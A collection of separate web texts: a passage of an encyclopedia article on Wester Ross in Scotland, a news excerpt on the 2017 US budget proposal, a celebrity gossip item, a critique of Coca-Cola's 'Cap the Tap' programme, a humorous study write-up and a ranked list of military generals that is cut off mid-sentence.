(59.4) 12.5  (54.5) 9.8  (49.6) 8.0  (46.4) 12.0  (53.6) Average low °C (°F) 2.7  (36.9) 2.5  (36.5) 3.5  (38.3) 4.6  (40.3) 6.7  (44.1) 9.2  (48.6) 11.4  (52.5) 11.3  (52.3) 9.6  (49.3) 7.5  (45.5) 5.0  (41.0) 3.0  (37.4) 6.4  (43.5) Average rainfall mm (inches) 170.4  (6.71) 129.4  (5.09) 133.8  (5.27) 74.9  (2.95) 70.5  (2.78) 77.4  (3.05) 74.8  (2.94) 97.3  (3.83) 141.3  (5.56) 164.7  (6.48) 172.3  (6.78) 160.8  (6.33) 1,467.6  (57.78) Source: [20]  Climate data for Kinlochewe Month Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Year Average high °C (°F) 7.1  (44.8) 7.5  (45.5) 9.1  (48.4) 11.8  (53.2) 15.0  (59.0) 16.8  (62.2) 18.4  (65.1) 18.0  (64.4) 15.8  (60.4) 12.5  (54.5) 9.4  (48.9) 7.1  (44.8) 12.4  (54.3) Average low °C (°F) 0.9  (33.6) 0.9  (33.6) 2.2  (36.0) 3.5  (38.3) 5.7  (42.3) 8.6  (47.5) 10.8  (51.4) 10.5  (50.9) 8.4  (47.1) 5.7  (42.3) 3.1  (37.6) 0.9  (33.6) 5.1  (41.2) Average rainfall mm (inches) 309.3  (12.18) 238.0  (9.37) 236.6  (9.31) 117.5  (4.63) 98.5  (3.88) 100.0  (3.94) 101.5  (4.00) 135.0  (5.31) 191.3  (7.53) 239.2  (9.42) 252.0  (9.92) 263.7  (10.38) 2,282.6  (89.87) Mean monthly sunshine hours 18.0 41.7 67.2 111.1 152.2 123.9 111.3 104.7 80.4 49.4 23.5 14.6 898.0 Source: [21]  Climate data for the summit of the Bealach na Bà Month Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Year Average high °C (°F) 1.6  (34.9) 1.2  (34.2) 2.2  (36.0) 3.6  (38.5) 6.9  (44.4) 9.1  (48.4) 10.5  (50.9) 10.5  (50.9) 8.7  (47.7) 6.0  (42.8) 3.5  (38.3) 2.3  (36.1) 5.5  (41.9) Average low °C (°F) −2.1  (28.2) −2.4  (27.7) −1.5  (29.3) −0.4  (31.3) 2.1  (35.8) 4.7  (40.5) 6.6  (43.9) 6.7  (44.1) 5.1  (41.2) 2.9  (37.2) 0.1  (32.2) −1.2  (29.8) 1.7  (35.1) Source: [22]  History [ edit ]  Ullapool , founded as a fishing village in 1789.  There are traces of Mesolithic occupation at several sites in Wester Ross, including at Redpoint and Shieldaig. Excavations of a Mesolithic rock shelter and shell midden at Sand on the Applecross peninsula revealed a variety of tools made from bone, stone and antler, together with waste from tool manufacture and food processing.[23] The Mesolithic people were largely nomadic, and permanent settlements were first built during the Neolithic era, when trees were felled to create land for farming.[24]  The area was inhabited by Picts in late antiquity, and was largely Christian by the 7th Century.[25] From the 8th Century Wester Ross, along with much of the western seaboard of Scotland, came under Norse domination, and placename evidence suggests that the Pictish language seems to have been entirely replaced wherever the Norsemen encountered it, with most names considered likely to be of Medieval rather than pre-Norse origin.[26] Following the decline of Norse power in western Scotland after their defeat at the Battle of Largs the semi-independent Lords of the Isles came to dominate the western coast until the 15th century, when Scottish Crown was able to cement its control over the region.[25]  The 16th century marked the height of the Clan structure in the Highlands, and Wester Ross was occupied by different clans, chiefly the Mackenzies and the Macdonalds.[25] Historically the chiefs of the Clan Donald held the title of Lord of the Isles until 1493 and two of those chiefs also held the title of Earl of Ross until 1476.[citation needed] During this period the area was farmed under the communal run-rig system, with people living in small townships, growing oats, bere (barley), and later potatoes. Cattle rearing was the chief economic activity, with cattle being raised in the glens and then driven to market. This trade expanded during the early 19th Century, due to the demands of the new industrial cities and the British armed forces for cattle for beef.[27]  The clan structure began to break down in 18th Century, as clan chiefs came to see themselves as landlords, and the small tenant farmers had no legal answer to a landlord who wished to have them removed. During the late 18th and 19th Centuries, the Highland Clearances saw tenants being forcibly moved to become crofters, a system under which their labour would be available when required by their landlords: they would be workers first and farmers second. Crofters were employed in enterprises such as fishing (Ullapool in the north of Wester Ross was built by the British Fishing Society in the 1780-90s) and kelping (the collection and processing of kelp to create products such as soda ash).[28] In the later stages of the clearances the driver ceased to be industrial enterprises, but simply to clear the land for sheep faming, and later deer forests. At this point emigration was often the only option to those removed from their homes.  Under pressure from the Highland Land League and public opinion a series of inquiries were held into the situation, leading to the Crofters' Holdings (Scotland) Act 1886 which put an end to the clearances by granting security of tenure to crofters.[29] However the act did not break up large estates, and Wester Ross continues to consist chiefly of large single-owner estates.[30]  Environment [ edit ]  There are many different habitats in Wester Ross, ranging from the marine and coastal environment to mountain summits over 1000 m above sea level. The area forms one of the Watsonian vice-counties, geographical divisions of the British Isles used for the purposes of biological recording and other scientific data-gathering.[31]  The coastline is mostly formed of cliffs and rocky shores covered with barnacles and seaweed. These cliffs are home to large numbers of seabirds such as puffins, fulmars, kittiwakes, razorbills , guillemots, black guillemots, cormorants and shags, whilst the rocky islets and skerries are important for harbour seals.[32][33] There are also beaches and sand dunes: the dunes at Achnahaird in particular support three plant species (petalworts, dune slack mosses matted bryum and sea bryum) that occur nowhere else in Scotland.[32] There is relatively little machair in Wester Ross compared to other parts of western Scotland.[32]  Whales, dolphins, porpoises and seals area frequently seen in the outer lochs and open waters, whilst the more sheltered sea lochs contain rocky reefs, maerl beds and deep mud banks.[34] Loch Carron is home to the world's largest flame shell beds.[35]  The rivers and lochs of Wester Ross support important populations of Atlantic salmon and sea trout, although numbers of adult fish have declined in recent years.[36] Freshwater pearl mussels live in the gravel beds of clean, fast flowing rivers: the population had declined across Europe as a result of pollution, habitat changes and pearl fishing, and the Wester Ross population is now of international importance.[36] Otters and water voles are both present in strong numbers in the rivers of Wester Ross:[36] water voles populations have been in decline across Great Britain due to predation by non-native American mink, which have only recently been recorded in Wester Ross.[37] The lochs also support internationally important concentrations of breeding black-throated divers, which is at the southern edge of its range in Wester Ross. Besides salmon and trout, Arctic charr can be found in many of the lochs.[37]  There are areas of Caledonian pinewood at Shieldaig, Coulin, Torridon, Beinn Eighe, Rhidorroch, Achnashellach and the islands on Loch Maree. Though small in terms of area, these pinewoods (which are composed chiefly of Scots pine, alongside deciduous species such as birch and rowan) are an internationally important habitat. These woods are genetically distinct from the pinewoods of central and eastern Scotland, and support a highly specialised flora and fauna including rare mosses and lichens, and insects such as the Scottish wood ant. The pinewoods are also habitats for red squirrel and black grouse.[38]  Moorland habitats, which are rare globally, are quite common in Wester Ross. The moors are characterised by blanket bogs composed of sphagnum mosses, and host breeding birds such as golden plover, greenshank and dunlin, along with a resident population of red grouse.[39] The summits of Wester Ross host alpine and sub-alpine heaths comprising mosses, liverworts and lichens, and dwarf shrubs such as alpine bearberry, juniper, crowberry, and cowberry. Beinn Eighe is the only known site for the Northern prongwort in the UK, and represents 75 % of the known world population.[40] Bird species in the montane areas of Wester Ross include ptarmigan, dotterel and snow bunting, along with raptor species such as golden eagle and merlin.  White-tailed eagles were reintroduced into Wester Ross during the 1990s, with 58 birds being released between 1993 and 1998. This was the second phase of the reintroduction of white-tailed eagles into Scotland, following on from the release of 82 birds on Rùm between 1975 and 1985. As of 2014, it was estimated that there were 98 breeding pairs living along the west coast of Scotland.[41]  Conservation designations [ edit ]  The Wester Ross National Scenic Area covers 1635 km2 of countryside and seascape, and is the largest of the national scenic areas in terms of land area (1439km2).[1] It extends from Loch Kishorn in the south to Little Loch Broom in the north.[42] There are two further national scenic areas (NSA) that include parts of Wester Ross: the Kintail NSA and the Coigach portion of the Assynt-Coigach NSA.[43]  Wester Ross was designated as a Biosphere Reserve in April 2016.[11] The designated area is subdivided into three zones:[44]  Approximately 20 % of Wester Ross is legally protected via the Site of Special Scientific Interest (SSSI) designation.[45]  National Trust for Scotland properties [ edit ]  Inverewe Garden  The National Trust for Scotland, a charity that cares for sites of historic or natural significance, owns seven properties in Wester Ross:  Demographics [ edit ]  The population of Wester Ross[note 1] was 8701 according the 2011 census of Scotland,[55] showing a slight increase compared to 8491 in 1991.[56] The population is generally older than Scotland as a whole, with 22.1 % being aged 65 or older, compared to 16.8 % for Scotland as a whole.[57]  Wester Ross has historically been a Gaelic speaking area, however the language suffered from persecution for many years, and its decline was hastened when schooling became compulsory in the late 19th Century. In the 2011 census 10.6 % of the population reported being able to speak the language, compared to only 1.1 % of the population of Scotland as whole.[58][59]  Government and politics [ edit ]  Wester Ross is part of the registration county of Ross and Cromarty.[60] The counties of Scotland are now used only for statistical purposes, and for local government purposes the whole of Ross and Cromarty is part of the council area of Highland. Wester Ross is united with Strathpeffer in Easter Ross to form a single ward entitled Wester Ross, Strathpeffer and Lochalsh,[61] which elects 4 councilors to Highland Council under the single transferable vote electoral system.[62] Some local decisions are delegated to the Ross and Cromarty Committee, which consists of all councilors representing this ward and the four neighbouring wards that cover Easter Ross and Cromarty.[63][64]  In the Scottish Parliament most of Wester Ross lies within the Caithness, Sutherland and Ross constituency,[65] however the Lochalsh area in the south of the region forms part of the Skye, Lochaber and Badenoch constituency.[66] Each constituency elects one Member of the Scottish Parliament (MSP) by the plurality (first past the post) method of election; a further seven additional members are elected from the Highlands and Islands electoral region (in addition to the eight constituency MSPs), to produce a form of proportional representation for the region as a whole.[67]  At Westminster Wester Ross is represented as part of the Ross, Skye and Lochaber constituency, which elects one Member of Parliament (MP) by the first past the post system of election.[68]  In popular culture [ edit ]  Wester Ross is featured in the lyrics to the song Letter from America by The Proclaimers, and Kishorn Commandos by North Sea Gas, which relate the wild lifestyle of construction workers on the Ninian Central Platform in Kishorn.[69][70] Many other songs refer to or are named after areas, geographical features and villages of Wester Ross, notably Loch Maree Islands, which has been recorded by many artists including Calum Kennedy.[citation needed]  Major outdoor scenes in the films Stardust and The Eagle (based on Rosemary Sutcliff's book The Eagle of the Ninth) were shot in Wester Ross. Plockton was used for shots showing Sergeant Neil Howie's arrival at Summerisle in The Wicker Man.[71]  Wester Ross is the location for the adventures of John Macnab in the book by John Buchan.[citation needed]  Places in Wester Ross [ edit ]  See also [ edit ]  Notes [ edit ]  References [ edit ]  Bilbliography [ edit ]
-Trump budget expected to seek historic contraction of federal workforce  Damian Paletta  Washington Post  March 12, 2017  President Trump’s budget proposal this week would shake the federal government to its core if enacted, culling back numerous programs and expediting a historic contraction of the federal workforce.  …  The spending budget Trump is set to release Thursday will offer the clearest snapshot of his vision for the size and role of government. Aides say that the president sees a new Washington emerging from the budget process, one that prioritizes the military and homeland security while slashing many other areas, including housing, foreign assistance, environmental programs, public broadcasting and research. Simply put, government would be smaller and less involved in regulating life in America, with private companies and states playing a much bigger role.  …  “Unfortunately, we have no alternative but to reinvest in our military and make ourselves a military power once again,” National Economic Council Director Gary Cohn said on “Fox News Sunday.”  “If you’re doing that in an area where you have to balance the budget and you cannot create a further deficit, you have to make cuts. It’s no different than every other family in America that has to make the tough decisions when they need to spend money somewhere, they have to cut it from somewhere else.”  The federal government is projected to spend $4.091 trillion next year, with roughly two-thirds of that going mostly toward Social Security, Medicare, Medicaid, poverty assistance and interest payments on the government debt. This spending is expected to be left untouched in the budget proposal next week.  What Trump will propose changing is the rest of the budget, known as discretionary spending, which is authorized each year by Congress. Slightly more than half of this remaining money goes to the military, and the rest is spread across agencies that operate things like education, diplomacy, housing, transportation and law enforcement.  Among Trump’s expected proposals are an increase in military spending of $54 billion, more money to start building a wall along the border between the United States and Mexico, and the creation of new initiatives that expand access to charter schools and other educational programs.  …  Trump and his advisers have said that they believe the federal workforce is too big, and that the federal government spends — and wastes — too much money. They have said that Washington — the federal workers and contractors, among others — has benefited from government largesse while many other Americans have suffered. Federal spending, they have argued, crowds the private sector and piles regulations and bureaucracy onto companies.  Trump’s chief strategist, Stephen K. Bannon, has said Trump will lead a “deconstruction of the administrative state.” On Friday, White House press secretary Sean Spicer said Obama loyalists had “burrowed into government.” Last month, Trump said the government would have to “do more with less.”  Trump’s proposal comes at a time when the federal budget is facing massive structural shifts in society and the economy. Aging baby boomers are swelling the number of Americans collecting Social Security and Medicare benefits, and the costs of these programs will continue to grow faster for more than a decade, budget experts said. In addition, the expected rise in borrowing rates and the growing national debt are expected to push interest payments on the debt from $270 billion this year to $768 billion in 2027, outpacing any growth in tax revenue.  …  Mick Mulvaney, head of the Office of Management and Budget, said on Hugh Hewitt’s radio program last week that it was important for the administration to change how Washington thinks.  “We don’t solve problems by simply throwing money at them,” he said.  Read the entire article here.
-Awww, don’t you just love the Biebs? Justin sold his sweet ride at auction recently and netted a cool $434,500 — but he’s not going to fritter away the proceeds on sex, drugs, and rock ’n roll. Instead, the kindhearted singer is giving all the moolah to charity!  Everyone loves to hate on Justin Bieber, but turns out he’s nowhere near as bad as people like to make him out to be! In fact, the 22-year-old has “a heart of gold” and according to a source, the singer “never stops giving.” Case in point: the Biebs is donating all of the money he got from his recent car auction to charity! Yep, you better Belieb it!  “Justin is going to donate the proceeds from the auction to charity. He hasn’t decided which one yet, but it will likely be either Pencils of Promise, City of Hope or Children’s Miracle Network — maybe even a combination of the three,” a source tells HollywoodLife.com EXCLUSIVELY. “Justin gets such a bad rap but he has a heart of gold. He does so much to give back, and to help those in need, but people never care about that, all they focus on is the times he messes up.”  As previously reported, the Canadian recently auctioned off his beloved blue 2011 Ferrari 458 Italia at Barrett Jackson auto auction in Scottsdale, Arizona, according to AZCentral. After three and a half minutes of super hot bidding – which even included Justin throwing in tickets to a U.S. show AND backstage passes – the ride sold for a world-record-breaking $434,500. The car was originally valued between $250-$300,000! Quite a tidy profit, right?  However, Justin already has more money in the bank than any of us could possibly ever imagine — how about $244 MILLION?!! So, yeah, it’s not like he needs the cash, right? Meanwhile, turns out the Biebs is a big fan of spreading his wealth, and loves nothing more than splashing the cash in the name of a good cause. “Honestly, people have no idea how much Justin does for various different charities,” the source says. “He has a huge heart and never stops giving.”  HollywoodLifers, what do you think about Justin Bieber? Sound off in the comments below!
-While public health advocates have sung the praises of tap water for years, Coca-Cola has been focusing on its own covert assault on the affordable, healthful, and refreshing beverage.  Unbeknownst to many in the nutrition and public health world, the soft drink giant launched a "Cap the Tap" program -- aimed at restaurants -- in 2010, described in the following manner on the Coke Solutions website:  Capture Lost Revenue By Turning Off the Tap Every time your business fills a cup or glass with tap water, it pours potential profits down the drain. The good news: Cap the Tap -- a program available through your Coca-Cola representative -- changes these dynamics by teaching crew members or wait staff suggestive selling techniques to convert requests for tap water into orders for revenue-generating beverages.  Coca-Cola cites a 2006 tap water usage study to point out the obvious -- that consumers drink tap water because of habit, health concerns or price sensitivity.  In response to that, Coca-Cola suggests restaurant waitstaff "turn off the tap" and offers to teach servers how to suggest "profitable beverages" to consumers, citing free refills. For those who truly want tap water, Coca-Cola suggests that servers push bottled water (don't forget that Coke owns the bottled water brand Dasani), diet sodas, iced teas, and smoothies.  Interestingly -- and, most likely, strategically -- information about the program is not as easy to come across online as the many health initiatives Coca-Cola eagerly announces with self-congratulatory press releases. "Cap the Tap" includes a manager's guide, a back room poster (which "educates crew and reminds them when and how to suggestively sell beverages") and a participants' guide, which "offers insights to help servers remember the facts and impact of suggestive selling."  All this from a company with its own "Health and Wellness Institute" and whose CEO, Muhtar Kent, has gone on record to say that "obesity is today's most challenging health issue [and] it is a global societal problem which will take all of us working together and doing our part."  It's hard to understand how incentivizing restaurant employees to push empty calories on restaurant patrons fits into the "working together" model. Herein lies the inherent problem that accompanies "working with" Big Food: Most health advocates' suggested changes and policies pose a threat to its profits.  "Cap the Tap" is just one of a few similar campaigns. Pen Williamson, a graphic designer and illustrator who did some work for Coca-Cola while at creative agency BFG Communications, has posted design templates of different campaigns he helped design, including "Cap the Tap," "Get Your Fill," and "Suggest More and Score." (The latter two were also "suggestive selling" campaigns that tried to get restaurant waitstaff to compete to see who could essentially push the most Coca-Cola products; alas, they no longer appear on the Coke Solutions website).  It's no wonder Coca-Cola was so willing to join the First Lady's "Drink Up" campaign, which recommended that Americans drink more water (sadly not "less soda," though), but did not specify or prioritize tap water.  It should not come as a surprise that the food and beverage industry will do whatever it can to maximize profits. However, a significant problem arises when this sort of campaign is created by a company that talks about its "commitments" to health and enjoys positive publicity from its partnerships with (or support of) health organizations, including the Academy of Nutrition and Dietetics, the American Society of Nutrition, and The Obesity Society.  "Cap the Tap" is a perfect example of the doublespeak that Big Food and Big Soda often employ. The carefully calculated veneer of wanting to be "part of the solution" and "offering choices" to consumers is negated by efforts like this one, which basically paints tap water as an enemy to be defeated. Of course, the health-conscious facade has some benefits (one perk of partnering with the Academy of Nutrition and Dietetics is that Coca-Cola can teach continuing education webinars to dietitians).  Remember that while Coca-Cola likes to point to its health-oriented initiatives, some of its executives have publicly stated they don't believe in empty calories, that much of the population "relies" on the carbohydrates (aka sugar) in soda, and that a 32-ounce Powerade after lacrosse practice is a perfectly fine beverage for a teenager.  It is crucial for health advocates to remain vigilant to the food and beverage industry's full array of tactics, not just the seemingly agreeable and "health-conscious" front that is employed by necessity. Otherwise, we risk having our efforts be stampeded by an industry that prioritizes profits over health.
-New research from the Institute For Truth In '90s Pop Songs finds that a dude driving an expensive car will, in fact, not impress us much. The study found men who are conspicuous spenders are driven by a desire for uncommitted romantic rendezvous, and they aren't fooling anyone.  One thousand subjects participated in the research conducted by faculty at Rice University, the University of Texas - San Antonio, and the University of Minnesota. The study found that men who were mainly interested in hooking up use big ticket items much like peacock feathers. Obviously women are fond of pricey wares as well, but they don't spend to attract mates. These men believe they're luring women by sending the signal that they're good providers who are proficient with a caveman club.  In reality, women understand their intentions. Ladies said they were more interested in dating a guy who drives a Porsche than a man who owns a Honda Civic. However when it came to a long-term relationship, there was no advantage to owning a sports car. Daniel Beal, assistant professor of psychology at Rice, says, "People may feel that owning flashy things makes them more attractive as a relationship partner, but in truth, many men might be sending women the wrong message."  Well, unless all parties are interested in a glamourous and short-lived encounter. In that case, it seems the Porche serves its function. If the researchers are taking suggestions for their next study on crossover country hits, I've always wondered if letting Jesus take the wheel is an effective driving strategy.  Does Driving A Porsche Make A Man More Desirable To Women? [EurekAlert]
-This list ranks military generals according to their brilliance in executing successful maneuvers on the field; legacy; win/loss record, etc. This list was difficult to write succinctly, and has left off quite a few military masters who deserve mention. Thus, there are several honorables at the end.  10 Genghis Khan  The entire Mongol Empire, at its peak, covered some 12.7 million square miles, which is 22% of all the land area on Earth. The tactics that enabled such conquests can be traced primarily to Genghis, the empire’s founder and first Khan. His birth name was Borjigin Temujin, and he devised a versatile attacking style, that of missile cavalries: his best archers were not trained merely to shoot, but to shoot accurately while riding horses at full gallop. They could even shoot accurately directly behind the horse at full gallop. No infantry force in the world at that time could have withstood such soldiers, and all the nations the Mongols invaded were overwhelmed very quickly.  Genghis’s legacy has been cemented by his conquest of Khwarezmia, which is most of modern Iran, along with parts of Afghanistan, Turkmenistan, Tajikistan, Uzbekistan, Kyrgyzstan and Kazakhstan. Genghis originally respected the leader, Ala ad-Din Muhammad II, as another conqueror, but when Genghis sent emissaries to strike up commerce with Ala ad-Din, the latter killed the diplomats and sent the rest back with shaved heads as an insult. First rule of Genghis Khan: don’t insult Genghis Khan.  He invaded Khwarezmia with 200,000 men, as many as half of these mounted archers, and split his army into smaller forces designed to conquer more territory faster. In military schools, this is always advised against, but Genghis’s scouts indicated that Ala ad-din was waiting with stronghold defenses, which suited Genghis’s desire for maneuvering room. His armies surrounded the walled cities of Samarkand, Urgench and Bukhara, and utterly destroyed them, one after another. On the third day of siege at Burkhara, the Turkish generals inside decided that they did not have the food and water to outlast Genghis, and so sallied a force of 20,000 cavalrymen and infantrymen, who attacked in the open steppe outside the city. Genghis’s army slaughtered them, to the last man.  Then he finished the siege within another 2 weeks, killed the Turkish soldiers who survived, sent the rest of the population’s youth into slavery, and executed everyone else, men and women deemed inefficient for labor. Seeing that the Turkish attempt to free itself from siege failed so well, Genghis next besieged Samarkand, whose garrison sent 50,000 veteran troops against Genghis’s army when it pretended to withdraw piecemeal. This was a simple plot that worked magnificently. His men retaliated, flanked on both sides, enveloped, and shot the Turks down in a massive pile of human and horse carcasses. He saw no need to preserve their horses since his did not seem to be at risk. Ala ad-Din arrived with a relief force of several tens of thousands, but could not approach because of Genghis’s mounted archers. The other 50,000 or so defenders of the city were executed to the last man, as was every single civilian, whose heads were arranged into a giant pyramid outside the walls.  Urgench was not so easy to attack, since it was built on swamp land around Amu Darya River. Genghis sent his men in without fear, and they lost significantly more men than usual due to the urban street fighting. The high end estimate of Turkish deaths, both civilian and military, in Urgench is 1,200,000, but much more plausible is 250,000 to 500,000. The rest were enslaved. This was one of the bloodiest genocides in history.  9 Julius Caesar  The politics involved in the opening of hostilities between Caesar’s legions and Vercingetorix’s armies are very complicated, and Rome and Gaul are both to blame. But Caesar considered and announced that Gaul had become a serious threat to Roman safety by 58 BC, and so he invaded with the intent to destroy and annex the entire territory. What happened next is famously recorded by Caesar himself, in his own hand, in his Commentarii de Bello Gallico. Assuming he told the truth, and he was remarkably honest and respectful of fine opponents, Vercingetorix, the primary leader of Gaul, has been given a well-deserved honorable mention below.  He beat Caesar fair and square at the siege of Gergovia, and the stage was set, after some 7 years of pitched battles, long marches and sieges, for the Battle of Alesia, in 52 BC. Caesar besieged the Gauls there with 12 legions, plus cavalry: at least 60,000 men. The Gauls had a garrison of 80,000, supplemented in a timely manner by at least 100,000 more troops under Commius, Vercingetorix’s ablest ally. He may have arrived with 250,000. Caesar had intended to starve the garrison into submission by building a circumvallation around the entire fort, but Vercingetorix managed to send a cavalry detachment through a gap in the wall as it was being constructed. Once it got away, Caesar anticipated a relief force arriving, and thus had a second wall built, called a contravallation, around the first, trapping themselves inside for protection. Now the besiegers were besieged and Caesar was in quite dire straits.  The weakest part of his wall was over a natural break in the northwestern area of the mountainous ground, and Vercingetorix desperately attacked in all directions from the inside, especially here, timing his action with an attempt by the relief force on the other side of the fort. Caesar’s army was flagging badly against both inner and outer assaults, and he inspired his men to redouble their efforts by personally leading a 6,000-horse cavalry charge around the Gallic relief force’s flank into its rear, and there was no mistaking the one and only great, crimson cape visible for miles on the battlefield. He had picked up a spear and shield, and was killing Gauls himself. Everyone on both sides knew to whom the cape belonged, and his men “burst frenzious with the joy of war,” as he wrote, and finally routed the relief army.  Once they began retreating in disarray, they were cut down by the thousands. Vercingetorix witnessed all this and surrendered the next morning.  8 George S. Patton  He is now famous for using the Nazis’ own patented tactic against them: blitzkrieg. A “lightning war” is generally thought of as one which concentrates all available men and material into the enemy lines, breaking them, then pressing forward without first defending one’s flanks. To defend one’s flanks gives the enemy valuable time to bring up reserves or prepare its own defenses.  Germany most infamously used this tactic to great effect in France and Russia. The idea was proposed by the next entry, who can be considered the author of the Battle of France. Patton understood blitzkrieg warfare, the fast mobilization of armor to overwhelm the enemy to be successful in almost all cases. It relied on air supremacy but, after 1940, the Allies permanently had this in Europe. Patton first rose to prominence in North Africa, outmaneuvering the German tanks at El Guettar, and winning a fine victory over #5, though #5 was not present.  After North Africa fell to the Allies, Patton was transferred to Sicily and always pressed forward with every available man, using the very same style of fighting against the Germans for which the latter had become legendary. After the Allied conquest of Italy, Patton was given command of the U. S. Third Army, and bashed right through the German lines in France. He was the only Allied general whose army was referred to by the Germans by name, rather than number. When he was on the move, the Wehrmacht did not report that the Third Army was coming, but, “Patton’s Army is coming.”  He only stopped once, near Metz, France, when his entire army ran out of gas. He had intended to conquer Germany on his own. Once resupplied, he relieved the Americans in Bastogne and joined in the Battle of the Bulge. This logistical achievement is particularly impressive and well studied in military schools today. Patton was not in position to relieve Bastogne, but when asked, he immediately accepted the task. His men did not particularly like the freezing cold march, but Bastogne’s defenders were saved.  7 Erich von Manstein  Manstein makes the list largely for his masterful defense of Kharkov, the third battle for this city, in modern Ukraine. The Soviets were fresh off a monumental victory at Stalingrad, and the Germans had lost the initiative. Manstein very nearly got it back by holding the Soviet advance to a standstill around Kharkov, though faced with 350,000 men against his 70,000. His task was to cut off and destroy the Soviet armored spearheads, which had advanced too far from their own lines. Then he would have to recapture Kharkov and hold the Soviets back. He succeeded with both objectives.  The Soviets attacked as expected, and were held to a draw in the center, and beaten back on both flanks, whereupon the Soviet center had to withdraw or be surrounded. Manstein had his men storm into Kharkov in pursuit, and the battle became one of street fighting and house-to-house close combat. This should have favored the Soviets, who had more men, many of whom were fresh from the very same fighting in Stalingrad. But the city had not been bombed into rubble as at Stalingrad, and Manstein’s tanks were consequently able to maneuver without much difficulty, taking the city in about a week. Manstein then arranged a defensive line on the eastern side of the city to prevent its recapture. He had killed or captured 52 Soviet divisions, of about 80,000 men, losing only about 10,000 himself.  Hitler, in a feat of mental brilliance, fired Manstein in 1944, for persistently arguing with Hitler on military objectives, tactics, strategy, etc. Manstein’s theory was of mobile defense along the entire Eastern Front, allowing the Soviets to take ground here and there, then cut them off and chew them up. This would probably have worked, given the bloodlust the Soviets had for taking Germany.  6 Scipio Africanus  Scipio’s proper name is Publius Cornelius Scipio. He achieved the nickname “Africanus” after defeating #3 on the plains of Zama in Carthage (modern North Africa). He managed this victory against a substantial numerical superiority: 43,000 Romans versus 64,000 Carthaginians (and allies) supplemented by 80 war elephants. #3 ordered the elephants to charge first, then intended his infantry to follow them into the holes they trampled in the Roman lines.  Scipio countered this by arranging his infantry in vertical lines, instead of the usual horizontal, which is to say vertical perpendicular to the Carthaginians. The elephants charged headlong into clever traps of javelins, spears, bows and arrows, etc., which caused them to panic and trample back into their own lines. Meanwhile, Scipio’s cavalries charged on both flanks against the enemy cavalries, managed to rout them, then doubled back and smashed into the rear of the Carthaginian infantry. Shades of #3’s finest hour. But Scipio’s finest hour was at Ilipa, in Hispania (Spain). It would take too long to describe here, but Wikipedia has a fine article on it. Scipio was outnumbered here as well, by 43,000 to some 70,000, but he outmanouevered the 3 enemy generals every step of the way (#3 was not there). A sudden rainstorm was all that spared the Carthaginians from annihilation.  5 Erwin Rommel  Rommel is remembered today as the man who nearly stopped the Allied offensive in its fledgling tracks in North Africa. He was up against Bernard Montgomery of Great Britain, and later, General Patton. After showing himself magnificently in the Axis push through Belgium and France, he was promoted to Generall der Panzertruppe, commander of the 5th Light Division, which became the 21st Panzer Division, and transferred to North Africa. His orders were to hold the Nazi foothold in the Saharan Desert until Hitler had conquered Britain or, despairing of this, conquered Russia, whereupon Hitler would certainly have transferred all the necessary manpower and machinery to Rommel, and prepared an all-out offensive against Britain and across the Atlantic against the United States of America (or sued for peace depending on his nerve).  Rommel very nearly lasted as long as this would have taken. Hitler lost the air battle for Britain, after which Rommel was never going to get the material he needed, and he only lost the Nazis’ foothold in Africa because he ran out of fuel. Hitler refused to transfer any more to him because he considered it more necessary for the Eastern Front. Not only did Hitler repeatedly refuse Rommel’s pleas for material, but after Montgomery repeatedly threw in reserves after reserves until Rommel had run out of tanks and fuel, Hitler refused to allow Rommel to retreat. Hitler later changed his mind as Rommel had 20 tanks facing an onslaught of 500 tanks from Montgomery, but by then, there weren’t many Germans left to retreat.  In the interim, however, Rommel showed himself to be a master for the ages, inflicting massive defeat upon defeat against the British and Americans. Because of bad intelligence, he could not break the fortifications of Tobruk, Libya, and would not have bothered trying had he known they were so staunch. When a British relief force en masse arrived through Egypt, codenamed Operation Crusader, Rommel turned his army from the siege to open battle and, though outnumbered, surrounded the British tank army and destroyed or captured two-thirds of it in the open desert. He pursued them to the Battle of Gazala, on May 26, 1942, and for the next month, one of the largest armored engagements in history to that date played out. Both sides suffered terrible losses, but Rommel won in the end, taking the ground, losing 114 tanks, destroying 540, and all while suffering a numerical inferiority of 80,000 to 175,000, with 560 tanks to 843.  After flanking the entire British army and driving it to the coast, he surrounded and took Tobruk. He had no intention of resting on his laurels, but advanced into Egypt to take as much ground from the retreating Allies as he could, and met them at El Alamein. This was a stalemate which halted Rommel’s drive through Egypt, and both sides dug in. During the summer, while they rested, the British received steady supplies and Montgomery as their new Field Marshal. He renewed the attack on Rommel at El Alamein, and Rommel was finally defeated because he had no supplies coming from Europe. Hitler deemed them more critical for the push into Russia. Rommel had only half the material, and 116,000 men to 195,000, and he still managed to hold Monty to a tactical draw, refusing to be outflanked and giving no ground until Monty received even more material.  4 Thomas J. “Stonewall” Jackson  The greatest general of American military history (a long history) only lost one battle in his career, at Kernstown, VA, on March 23, 1862. This loss has been attributed to bad intelligence: Jackson was told that there was only about one regiment of Union soldiers in the area, but encountered a full division of 8,500 men, confronting his 3,800. He attempted to turn the Union right flank, but was beaten back, and the North held the field. The result, however, proved more complex.  The North discovered that its intent to reinforce its armies marching on Richmond would be fought by Jackson in the Shenandoah Valley, the only feasible route the North could take to its army quickly. This valley is some 150 miles long by about 50 miles wide, and comprises the northwestern border of Virginia with West Virginia. To combat Jackson’s army of 17,000 men, President Lincoln dispatched no less than three separate armies, totaling 52,000 men, led primarily by Gens. Fremont, Banks, Schenck and Shields.  After his first defeat, Jackson never lost again, and defeated the combined Union offensive in no less than 5 battles throughout May to early June of 1862. These battles ranged all over the Shenandoah Valley, as the Union pressed as hard as it could to break through and reinforce the assault on Richmond. Jackson forced his men to march some 650 miles in 48 days, and whenever the armies met, Jackson’s flanks could not be turned from their anchor points on steep ridges before Jackson sent in reserves. At Front Royal, Jackson had 3,000 men to Kenly’s 1,000, and broke his lines with hard cavalry charges. Jackson’s method was to anticipate his enemy’s movements based on the terrain (the path of least resistance, usually), and attack one army at a time, never all three at once.  He made a fairly poor showing at the Seven Days’ Battles around Richmond, but cemented his legacy at Chancellorsville, on May 2, 1863, two months before Gettysburg. Gen. R. E. Lee risked splitting his army in two, giving Jackson the left to turn the right flank of Hooker’s army. Jackson succeeded in doing so, routing Hooker’s entire right flank into utter disorder, forcing it onto a permanent defensive, and enabling Lee to split the enemy army in two, and arrange a pincer movement around this larger section of it.  Jackson was accidentally shot by his own men that night while scouting the lines, and had to have his left arm amputated. He then contracted pneumonia and died 8 days later. Many historians like to say that if there is a God, he must be opposed to slavery 